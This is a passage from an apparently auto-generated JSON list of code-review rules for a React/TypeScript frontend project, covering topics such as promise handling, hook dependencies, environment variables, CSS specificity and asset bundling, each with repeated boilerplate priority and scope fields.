bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Attach event handlers by reference, not via wrapper closures","rule":"Subscribe handlers directly (player.on('play', trackPlay)) instead of wrapping them in extra anonymous functions.","apiRule":"Subscribe handlers directly (player.on('play', trackPlay)) instead of wrapping them in extra anonymous functions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Drop the aggregate wrapper when there is only one validator","rule":"Call a single validator directly instead of wrapping it in an all/compose aggregator that adds no value.","apiRule":"Call a single validator directly instead of wrapping it in an all/compose aggregator that adds no value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer a server redirect over client-side click hacks","rule":"Return a real HTTP redirect from the server when possible, rather than rendering a page that fakes a click to navigate.","apiRule":"Return a real HTTP redirect from the server when possible, rather than rendering a page that fakes a click to navigate. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Register new client components in the shared component index","rule":"Add a newly created client-hydrated component to the central component registry so it actually mounts.","apiRule":"Add a newly created client-hydrated component to the central component registry so it actually mounts. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Set private:true on packages that should never be published","rule":"Mark internal/app package.json files with private:true so package managers refuse an accidental npm publish.","apiRule":"Mark internal/app package.json files with private:true so package managers refuse an accidental npm publish. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't hardcode a single unit when formatting relative time","rule":"Use a relative-time formatter that picks the right unit (m/h/d) instead of fixing the label to minutes.","apiRule":"Use a relative-time formatter that picks the right unit (m/h/d) instead of fixing the label to minutes. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"An intentional no-op catch needs an empty function body","rule":"To truly swallow a rejection, attach .catch(() => {}); an empty .catch() with no handler still rejects.","apiRule":"To truly swallow a rejection, attach .catch(() => {}); an empty .catch() with no handler still rejects. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't rely on useEffect in server-only rendered components","rule":"useEffect never runs during server rendering, so don't place behavior in it for components that render only on the server.","apiRule":"useEffect never runs during server rendering, so don't place behavior in it for components that render only on the server. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use consistent verb prefixes for similar functions","rule":"Pick one verb (get vs fetch) and apply it consistently across functions that do the same kind of thing.","apiRule":"Pick one verb (get vs fetch) and apply it consistently across functions that do the same kind of thing. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't add an empty .then() just to silence floating-promise lint","rule":"If you don't need the result and don't need to await, omit the promise chain (or void it) rather than tacking on an empty .then().","apiRule":"If you don't need the result and don't need to await, omit the promise chain (or void it) rather than tacking on an empty .then(). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't add defaults that a later guard already handles","rule":"Skip a fallback default when a subsequent check already filters out the falsy case, to avoid redundant code.","apiRule":"Skip a fallback default when a subsequent check already filters out the falsy case, to avoid redundant code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't leak raw HTTP responses out of service functions","rule":"Have a service interpret the HTTP response internally and return a clean success/failure or domain value, not the raw response.","apiRule":"Have a service interpret the HTTP response internally and return a clean success/failure or domain value, not the raw response. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Compute environment-derived config once, not on every request","rule":"Resolve values that come from environment/config at startup, not recomputed inside per-request handlers.","apiRule":"Resolve values that come from environment/config at startup, not recomputed inside per-request handlers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't derive feature config from NODE_ENV; use dedicated env vars","rule":"Use purpose-specific environment variables for external integrations rather than coupling them to NODE_ENV.","apiRule":"Use purpose-specific environment variables for external integrations rather than coupling them to NODE_ENV. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't put never-changing values in component state","rule":"Keep constant configuration as plain consts/props, not state, when nothing ever updates them.","apiRule":"Keep constant configuration as plain consts/props, not state, when nothing ever updates them. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Match useState setter name to its value","rule":"Name the useState pair consistently as [value, setValue] so the setter clearly maps to its state.","apiRule":"Name the useState pair consistently as [value, setValue] so the setter clearly maps to its state. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Configure linter rules for formatting concerns rather than fixing them by hand","rule":"Encode recurring formatting/style preferences (object spacing, arrow parens, quote style, blank lines) as lint rules so they are enforced and auto-fixed.","apiRule":"Encode recurring formatting/style preferences (object spacing, arrow parens, quote style, blank lines) as lint rules so they are enforced and auto-fixed. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep indentation consistent with the surrounding file","rule":"Match the file's existing indentation width instead of mixing 2- and 4-space indentation.","apiRule":"Match the file's existing indentation width instead of mixing 2- and 4-space indentation. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use an established library for common tasks instead of hand-rolling","rule":"Reach for a well-known library (e.g. for query-string building) for common, error-prone tasks rather than reimplementing the logic by hand.","apiRule":"Reach for a well-known library (e.g. for query-string building) for common, error-prone tasks rather than reimplementing the logic by hand. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard a map with a presence check instead of an extra index variable","rule":"Render a list with value && value.map(...) to avoid an extra variable or branch when the source may be empty/absent.","apiRule":"Render a list with value && value.map(...) to avoid an extra variable or branch when the source may be empty/absent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Import related modules through one consistent mechanism","rule":"Don't mix a barrel/aggregated import with a one-off direct import of the same kind of module; pick one approach and apply it consistently.","apiRule":"Don't mix a barrel/aggregated import with a one-off direct import of the same kind of module; pick one approach and apply it consistently. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't create enums that just duplicate config data","rule":"Instead of an enum that mirrors a config file and re-exposes its values, add the needed property to the config and expose it through the owning service.","apiRule":"Instead of an enum that mirrors a config file and re-exposes its values, add the needed property to the config and expose it through the owning service. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Split long optional-chaining expressions into readable steps","rule":"Break a heavily optional-chained expression into separate guarded statements, since chained ?. operators can go unnoticed and reduce readability.","apiRule":"Break a heavily optional-chained expression into separate guarded statements, since chained ?. operators can go unnoticed and reduce readability. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use Object.entries to iterate keys and values together","rule":"When you need both the key and value of an object, iterate with Object.entries instead of looking up the value by key inside the loop.","apiRule":"When you need both the key and value of an object, iterate with Object.entries instead of looking up the value by key inside the loop. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name props by what they mean, not by incidental placement","rule":"Choose a prop name describing the concept (e.g. variant) rather than an incidental detail like where it appears, and rename boolean props to read naturally.","apiRule":"Choose a prop name describing the concept (e.g. variant) rather than an incidental detail like where it appears, and rename boolean props to read naturally. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't read state right after calling its setter","rule":"State updates are not applied synchronously, so don't rely on the new value in the same function right after calling setState.","apiRule":"State updates are not applied synchronously, so don't rely on the new value in the same function right after calling setState. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't combine assignment and a conditional check in one confusing expression","rule":"Split a statement that both performs a check and calls a function into clearer, separate steps so the control flow is obvious.","apiRule":"Split a statement that both performs a check and calls a function into clearer, separate steps so the control flow is obvious. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Invert guard clauses to return early and reduce nesting","rule":"Return early on the failure condition instead of wrapping the happy path in a large if block, to keep indentation flat.","apiRule":"Return early on the failure condition instead of wrapping the happy path in a large if block, to keep indentation flat. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Include every referenced value in the useEffect dependency array","rule":"List all reactive values the effect reads in its dependency array, even if you believe they never change, to follow the rules of hooks.","apiRule":"List all reactive values the effect reads in its dependency array, even if you believe they never change, to follow the rules of hooks. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Type DOM refs as nullable so null access is caught at compile time","rule":"Declare element refs as useRef<HTMLElement | null>(null) and guard .current before use, since the ref can be null before mount.","apiRule":"Declare element refs as useRef<HTMLElement | null>(null) and guard .current before use, since the ref can be null before mount. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Remove default cases and fallback values that cannot occur","rule":"Drop a switch default or fallback that returns meaningless placeholder values when the input is guaranteed valid, since it allows nonsensical return shapes.","apiRule":"Drop a switch default or fallback that returns meaningless placeholder values when the input is guaranteed valid, since it allows nonsensical return shapes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not add default values for parameters that always receive one","rule":"Drop default parameter/prop values when every call site already supplies a value, since the default is misleading and never used.","apiRule":"Drop default parameter/prop values when every call site already supplies a value, since the default is misleading and never used. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use shared theming/skins for variations across products","rule":"Express brand or product styling differences through a shared theming mechanism instead of duplicating component logic per product.","apiRule":"Express brand or product styling differences through a shared theming mechanism instead of duplicating component logic per product. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Use window.innerWidth for responsive checks, not screen.width","rule":"screen.width reports the physical device size; use window.innerWidth to react to the actual viewport.","apiRule":"screen.width reports the physical device size; use window.innerWidth to react to the actual viewport. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Remove element id attributes that are not used","rule":"Drop id attributes added to markup when nothing references them for styling, scripting, or hydration.","apiRule":"Drop id attributes added to markup when nothing references them for styling, scripting, or hydration. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard against missing or empty data before using it","rule":"Handle the cases where fetched data is absent or empty so the UI degrades gracefully instead of throwing.","apiRule":"Handle the cases where fetched data is absent or empty so the UI degrades gracefully instead of throwing. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Control SVG size and color via CSS, not inline in the asset","rule":"Style width, height, and color of inline SVGs through CSS classes rather than editing attributes in the SVG file.","apiRule":"Style width, height, and color of inline SVGs through CSS classes rather than editing attributes in the SVG file. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't destructure props when the component uses none","rule":"Drop the props parameter and destructuring entirely if a component reads no props.","apiRule":"Drop the props parameter and destructuring entirely if a component reads no props. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not return the result of a void state setter","rule":"Returning a setState call returns undefined and signals confusion; call the setter on its own statement.","apiRule":"Returning a setState call returns undefined and signals confusion; call the setter on its own statement. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Resolve TODOs rather than leaving them in merged code","rule":"Make a decision and implement it instead of committing TODO placeholders.","apiRule":"Make a decision and implement it instead of committing TODO placeholders. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not repurpose React's reserved key prop as a data field","rule":"key is reserved by React for reconciliation; store domain data under a differently named property.","apiRule":"key is reserved by React for reconciliation; store domain data under a differently named property. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Pass a boolean JSX prop by presence instead of ={true}","rule":"Writing a boolean prop bare is equivalent to setting it to true, so drop the explicit value.","apiRule":"Writing a boolean prop bare is equivalent to setting it to true, so drop the explicit value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Type a list field as an array of the element shape, not a single-element tuple","rule":"Model collections as ElementType[] rather than a one-element array literal of an inline object.","apiRule":"Model collections as ElementType[] rather than a one-element array literal of an inline object. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use the same environment variable name across all environments","rule":"Don't set NODE_ENV locally when CI uses APP_ENV; align variable names so behavior matches everywhere.","apiRule":"Don't set NODE_ENV locally when CI uses APP_ENV; align variable names so behavior matches everywhere. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep only the build/run scripts that are actually used","rule":"Remove duplicate or dead package scripts so the only supported way to build/run is unambiguous.","apiRule":"Remove duplicate or dead package scripts so the only supported way to build/run is unambiguous. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Separate distinct blocks of logic with blank lines","rule":"Add vertical whitespace between logically distinct sections so dense code is easier to scan.","apiRule":"Add vertical whitespace between logically distinct sections so dense code is easier to scan. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Wrap independent async calls in separate try/catch blocks","rule":"Give each independent request its own try/catch so you can tell which one failed and handle them distinctly.","apiRule":"Give each independent request its own try/catch so you can tell which one failed and handle them distinctly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use parentheses to make operator precedence explicit in conditions","rule":"Group comparisons and logical operators with parentheses so precedence (&&, !==) reads as intended.","apiRule":"Group comparisons and logical operators with parentheses so precedence (&&, !==) reads as intended. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Always pass a radix to parseInt and provide a fallback","rule":"Call parseInt with an explicit base 10 and a default to avoid NaN and ambiguous parsing.","apiRule":"Call parseInt with an explicit base 10 and a default to avoid NaN and ambiguous parsing. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Define interfaces for config and repeated object shapes","rule":"Give recurring object shapes (config sections, error messages, props) named interfaces and reuse them.","apiRule":"Give recurring object shapes (config sections, error messages, props) named interfaces and reuse them. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Start line comments with a space after the marker","rule":"Put a single space between the comment marker and the text for consistent, lint-clean comments.","apiRule":"Put a single space between the comment marker and the text for consistent, lint-clean comments. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Iterate arrays with array methods, not for...in","rule":"Use forEach/for...of for arrays; reserve for...in for enumerating object properties.","apiRule":"Use forEach/for...of for arrays; reserve for...in for enumerating object properties. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Type custom-element props with the minimal shape you actually use","rule":"When declaring props for a custom element, use the raw object shape of the attributes you need rather than pulling in broad helpers like DetailedHTMLProps/HTMLAttributes.","apiRule":"When declaring props for a custom element, use the raw object shape of the attributes you need rather than pulling in broad helpers like DetailedHTMLProps/HTMLAttributes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Ship custom-element type definitions inside the package that provides them","rule":"Consumers should not have to redeclare a web component's JSX types; the type definitions belong in the package exporting the component so all consumers get them automatically.","apiRule":"Consumers should not have to redeclare a web component's JSX types; the type definitions belong in the package exporting the component so all consumers get them automatically. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Beat CSS specificity with a selector trick, not an extra wrapper div","rule":"To override a higher-specificity rule from a shared component, repeat a class in the selector (.modal.modal) rather than adding a wrapper element solely to win specificity.","apiRule":"To override a higher-specificity rule from a shared component, repeat a class in the selector (.modal.modal) rather than adding a wrapper element solely to win specificity. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reuse a component's CSS module classes instead of wrapping in a new component","rule":"To apply existing typography/styles to a plain tag, import and apply the relevant CSS module classes directly rather than introducing an extra wrapper component that changes the tag.","apiRule":"To apply existing typography/styles to a plain tag, import and apply the relevant CSS module classes directly rather than introducing an extra wrapper component that changes the tag. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Preserve the original semantic tag when changing typography variants","rule":"Switching a Typography variant should not silently change the rendered HTML tag; pass component=\"h2\" (or the original tag) to keep semantics and avoid layout/a11y regressions.","apiRule":"Switching a Typography variant should not silently change the rendered HTML tag; pass component=\"h2\" (or the original tag) to keep semantics and avoid layout/a11y regressions. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Match the formatter; don't fight tooling over self-closing void tags","rule":"Browsers handle void elements like <meta> regardless of a trailing slash, so accept whatever the formatter (Prettier) produces instead of fighting it.","apiRule":"Browsers handle void elements like <meta> regardless of a trailing slash, so accept whatever the formatter (Prettier) produces instead of fighting it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Mirror changes between paired desktop and mobile config files","rule":"When constants or config are split into desktop and mobile variants, any change to one must be reflected in the other to avoid divergence bugs.","apiRule":"When constants or config are split into desktop and mobile variants, any change to one must be reflected in the other to avoid divergence bugs. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Exclude test files from Tailwind content scanning","rule":"Add a negated test-file glob to Tailwind's content config so class names appearing only in tests are not scanned into the build.","apiRule":"Add a negated test-file glob to Tailwind's content config so class names appearing only in tests are not scanned into the build. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not create a shared file re-exporting Tailwind base directives","rule":"Avoid a single use-tailwind file that re-applies @tailwind base/components/utilities for reuse; repeat the directives per entry as Tailwind recommends.","apiRule":"Avoid a single use-tailwind file that re-applies @tailwind base/components/utilities for reuse; repeat the directives per entry as Tailwind recommends. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use consistent empty/initial values for related pieces of state","rule":"Two related state values representing 'no selection' should use the same empty representation (both null or both '') so downstream checks behave uniformly.","apiRule":"Two related state values representing 'no selection' should use the same empty representation (both null or both '') so downstream checks behave uniformly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not use a functional state update to set a constant value","rule":"setState(prev => true) and setState(prev => false) are just setState(true)/setState(false); use the constant form when the new value does not depend on the previous one.","apiRule":"setState(prev => true) and setState(prev => false) are just setState(true)/setState(false); use the constant form when the new value does not depend on the previous one. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Apply a style only at the breakpoints where it has an effect","rule":"Scope properties like z-index or positioning to the breakpoint where they actually matter, instead of applying them globally and breaking smaller viewports.","apiRule":"Scope properties like z-index or positioning to the breakpoint where they actually matter, instead of applying them globally and breaking smaller viewports. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Import static assets from source so they get content-hashed","rule":"Place images and similar assets in src and import their URL so the bundler adds a content hash; reserve the public folder for files that must keep a fixed path (favicon, robots.txt).","apiRule":"Place images and similar assets in src and import their URL so the bundler adds a content hash; reserve the public folder for files that must keep a fixed path (favicon, robots.txt). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. 